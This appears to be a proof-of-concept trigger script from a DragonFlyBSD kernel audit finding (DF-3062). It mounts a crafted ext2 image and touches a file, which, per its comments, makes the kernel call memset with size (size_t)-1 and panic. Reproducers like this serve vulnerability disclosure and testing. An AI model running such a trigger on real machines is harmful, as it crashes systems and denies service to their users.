DragonFlyBSD Kernel Audit
DF-3062 / trigger.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-3062 trigger (guest, root; the touch itself needs no privileges once
# the image is mounted):
set -e
kldload ext2fs
/root/vntool attach 0 /root/df3062.img
mkdir -p /mnt/e2
mount -t ext2fs /dev/vn0 /mnt/e2        # RW mount succeeds: geometry legal
echo MOUNT-RC=$?
ls /mnt/e2                              # mount healthy before trigger
echo BEFORE-TRIGGER
touch /mnt/e2/x                         # ext2_valloc -> ext2_nodealloccg
                                        # -> memset(b_data, 0, (size_t)-1)
echo AFTER-TRIGGER-NO-PANIC             # never reached on stock kernel